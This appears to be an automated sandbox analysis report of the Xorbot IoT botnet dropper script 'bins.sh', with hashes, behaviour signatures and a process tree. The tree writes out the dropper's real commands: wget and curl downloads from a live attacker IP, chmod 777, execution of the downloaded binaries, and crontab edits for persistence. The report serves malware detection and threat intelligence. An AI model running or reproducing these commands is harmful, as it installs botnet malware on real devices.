Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    03-12-2024 02:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1da16902d7c5601131994e6c7188579b

  • SHA1

    66658b1510c47b2293d64f6f29ffadfaac1ba126

  • SHA256

    a527f457c05c52627d9ac88b3fb6f7dd65b7de796e8c1bab1d761c3dd2a83dc6

  • SHA512

    c9959bb121b46e0ff62f2750ea6927810ae204a778e28ba2db6f9a2dee9b38296642c45af45fcb9f8f25c84402e45e50009c3c119db97b18d06ea84dda785fb4

  • SSDEEP

    192:k2c41phAQq2Si/XdccYcXTOU1phAQkLG2Si/XU/YO:k2c41phAQq2Si/XdccYcXTOU1phAQkLC

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1676) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:709
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:715
        • /usr/bin/wget
          wget http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Writes file to tmp directory
          PID:717
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          ./OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/chmod
            chmod 777 p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
            • File and Directory Permissions Modification
            PID:748
          • /tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            ./p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
            • Executes dropped EXE
            PID:749
          • /bin/rm
            rm p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
              PID:751
            • /usr/bin/wget
              wget http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:752
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:753
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:763
            • /bin/chmod
              chmod 777 vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
              2⤵
              • File and Directory Permissions Modification
              PID:767
            • /tmp/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
              ./vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              • System Network Configuration Discovery
              PID:768
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:770
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:771
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:774
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:775
                • /bin/rm
                  rm vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
                  2⤵
                  • System Network Configuration Discovery
                  PID:777
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
                  2⤵
                    PID:782
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
                    2⤵
                      PID:784
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
                      2⤵
                      • Writes file to tmp directory
                      PID:870
                    • /bin/chmod
                      chmod 777 trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
                      2⤵
                      • File and Directory Permissions Modification
                      PID:889
                    • /tmp/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
                      ./trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
                      2⤵
                      • Executes dropped EXE
                      PID:890
                    • /bin/rm
                      rm trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
                      2⤵
                        PID:894
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                        2⤵
                          PID:896
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                          2⤵
                            PID:898
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                            2⤵
                            • Writes file to tmp directory
                            PID:900
                          • /bin/chmod
                            chmod 777 u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                            2⤵
                            • File and Directory Permissions Modification
                            PID:906
                          • /tmp/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                            ./u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                            2⤵
                            • Executes dropped EXE
                            PID:907
                          • /bin/rm
                            rm u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                            2⤵
                              PID:909
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
                              2⤵
                                PID:910
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
                                2⤵
                                  PID:912
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:913
                                • /bin/chmod
                                  chmod 777 OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:915
                                • /tmp/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
                                  ./OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
                                  2⤵
                                  • Executes dropped EXE
                                  PID:916
                                • /bin/rm
                                  rm OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
                                  2⤵
                                    PID:918
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/K4ZRTxnWdCPj1t8QI3gorLmEaJJAVFPv1Z
                                    2⤵
                                      PID:919

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5

                                    Filesize

                                    119KB

                                    MD5

                                    1b166b95f9cb4b079ef1b9ec8363ddf3

                                    SHA1

                                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                                    SHA256

                                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                    SHA512

                                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                  • /tmp/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9

                                    Filesize

                                    98KB

                                    MD5

                                    5141342d0df8699fa32a6b066a0c592e

                                    SHA1

                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                    SHA256

                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                    SHA512

                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                  • /tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1

                                    Filesize

                                    151KB

                                    MD5

                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                    SHA1

                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                    SHA256

                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                    SHA512

                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                  • /tmp/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM

                                    Filesize

                                    122KB

                                    MD5

                                    cd3d4b9c643e5b473fb4d88ed05f0716

                                    SHA1

                                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                                    SHA256

                                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                    SHA512

                                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                  • /tmp/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi

                                    Filesize

                                    112KB

                                    MD5

                                    05d7857dcead18bbd86d2935f591873c

                                    SHA1

                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                    SHA256

                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                    SHA512

                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                  • /tmp/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA

                                    Filesize

                                    151KB

                                    MD5

                                    6c583043d91c55aa470c08c87058e917

                                    SHA1

                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                    SHA256

                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                    SHA512

                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                  • /var/spool/cron/crontabs/tmp.SYJkOe

                                    Filesize

                                    210B

                                    MD5

                                    05ba8f2ba8899f61ea7b8cee80320cf0

                                    SHA1

                                    6154595e13e4079f654793f358717d4a216dc144

                                    SHA256

                                    de55fa6e8d2a56d7f7f3cf3b90bcaaa6a337ebf66687387e40a146e11f2e6077

                                    SHA512

                                    5dd555e8711f934599a68a909bd1ee5654f62ede6eb8e9dcf7c7b8a85bc0b6283ee104a28f6ab60f2ba4dabea8cf7178f372ae0af6599f15206d1b65b358c4ac